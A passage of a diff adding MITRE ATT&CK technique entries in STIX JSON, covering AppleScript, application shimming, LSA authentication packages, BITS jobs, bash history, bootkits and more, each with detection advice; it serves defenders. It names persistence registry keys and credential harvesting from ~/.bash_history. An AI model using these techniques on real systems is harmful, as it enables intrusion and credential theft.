Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "System calls", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-02-11T15:34:01.392Z", + "x_mitre_detection": "Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b", + "name": "AppleScript", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": true, + "type": "attack-pattern", + "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1017", + "source_name": "mitre-attack", + "external_id": "T1017" + }, + { + "url": "https://capec.mitre.org/data/definitions/187.html", + "source_name": "capec", + "external_id": "CAPEC-187" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Access to application deployment software (EPO, HPCA, Altiris, etc.)" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process use of network", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", + "name": "Application Deployment Software", + "created": "2017-05-31T21:30:27.755Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1138", + "source_name": "mitre-attack", + "external_id": "T1138" + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017." + }, + { + "url": "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", + "source_name": "Black Hat 2015 App Shim", + "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Loaded DLLs", + "System calls", + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-04-03T15:00:20.430Z", + "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566", + "name": "Application Shimming", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Endgame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1010", + "source_name": "mitre-attack", + "external_id": "T1010" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "name": "Application Window Discovery", + "created": "2017-05-31T21:30:24.512Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1123", + "source_name": "mitre-attack", + "external_id": "T1123" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "File monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "name": "Audio Capture", + "created": "2017-05-31T21:31:34.528Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1131", + "source_name": "mitre-attack", + "external_id": "T1131" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", + "source_name": "MSDN Authentication Packages", + "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017." + }, + { + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017." + }, + { + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx", + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "DLL monitoring", + "Windows Registry", + "Loaded DLLs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d", + "name": "Authentication Package", + "created": "2017-05-31T21:31:43.135Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.", + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1119", + "source_name": "mitre-attack", + "external_id": "T1119" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Permissions to access directories and files that store information of interest." + ], + "x_mitre_data_sources": [ + "File monitoring", + "Data loss prevention", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "name": "Automated Collection", + "created": "2017-05-31T21:31:27.985Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify and move files.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1020", + "source_name": "mitre-attack", + "external_id": "T1020" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.", + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process use of network" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "exfiltration", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", + "name": "Automated Exfiltration", + "created": "2017-05-31T21:30:29.458Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection. \n\nWhen automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1197", + "source_name": "mitre-attack", + "external_id": "T1197" + }, + { + "url": "https://technet.microsoft.com/library/dd939934.aspx", + "source_name": "Microsoft Issues with BITS July 2011", + "description": "Microsoft. (2011, July 19). Issues with BITS. Retrieved January 12, 2018." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx", + "source_name": "Microsoft BITS", + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018." + }, + { + "url": "https://msdn.microsoft.com/library/aa362813.aspx", + "source_name": "Microsoft BITSAdmin", + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018." + }, + { + "url": "https://www.secureworks.com/blog/malware-lingers-with-bits", + "source_name": "CTU BITS Malware June 2016", + "description": "Counter Threat Unit Research Team. (2016, June 6). Malware Lingers with BITS. Retrieved January 12, 2018." + }, + { + "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/", + "source_name": "Mondok Windows PiggyBack BITS May 2007", + "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018." + }, + { + "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update", + "source_name": "Symantec BITS May 2007", + "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", + "source_name": "Microsoft COM", + "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017." + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/", + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Ricardo Dias", + "Red Canary" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Packet capture", + "Windows event logs" + ], + "modified": "2018-12-13T20:07:42.839Z", + "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Firewall", + "Host forensic analysis" + ], + "id": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "name": "BITS Jobs", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1139", + "source_name": "mitre-attack", + "external_id": "T1139" + }, + { + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8", + "name": "Bash History", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1009", + "source_name": "mitre-attack", + "external_id": "T1009" + }, + { + "external_id": "CAPEC-572", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/572.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Binary file metadata", + "File monitoring", + "Malware reverse engineering" + ], + "modified": "2019-01-31T19:18:29.228Z", + "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "name": "Binary Padding", + "created": "2017-05-31T21:30:22.096Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.", + "x_mitre_defense_bypassed": [ + "Signature-based detection", + "Anti-virus" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1067", + "source_name": "mitre-attack", + "external_id": "T1067" + }, + { + "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion", + "source_name": "Lau 2011", + "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014." + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf", + "source_name": "MTrends 2016", + "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "API monitoring", + "MBR", + "VBR" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", + "name": "Bootkit", + "created": "2017-05-31T21:30:54.661Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1217", + "source_name": "mitre-attack", + "external_id": "T1217" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Mike Kemmerer" + ], + "x_mitre_data_sources": [ + "API monitoring", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "name": "Browser Bookmark Discovery", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1176", + "source_name": "mitre-attack", + "external_id": "T1176" + }, + { + "url": "https://developer.chrome.com/extensions", + "source_name": "Chrome Extensions Definition", + "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017." + }, + { + "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf", + "source_name": "Malicious Chrome Extension Numbers", + "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017." + }, + { + "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/", + "source_name": "Chrome Extension Crypto Miner", + "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017." + }, + { + "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/", + "source_name": "Banker Google Chrome Extension Steals Creds", + "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017." + }, + { + "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)", + "source_name": "Catch All Chrome Extension", + "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017." + }, + { + "url": "https://kjaer.io/extension-malware/", + "source_name": "Chrome Extension C2 Malware", + "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017." + }, + { + "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/", + "source_name": "Stantinko Botnet", + "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017." + }, + { + "url": "https://en.wikipedia.org/wiki/Browser_extension", + "source_name": "Wikipedia Browser Extension", + "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018." + }, + { + "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses", + "source_name": "ICEBRG Chrome Extensions", + "description": "De Tore, M., Warner, J. (2018, January 15). 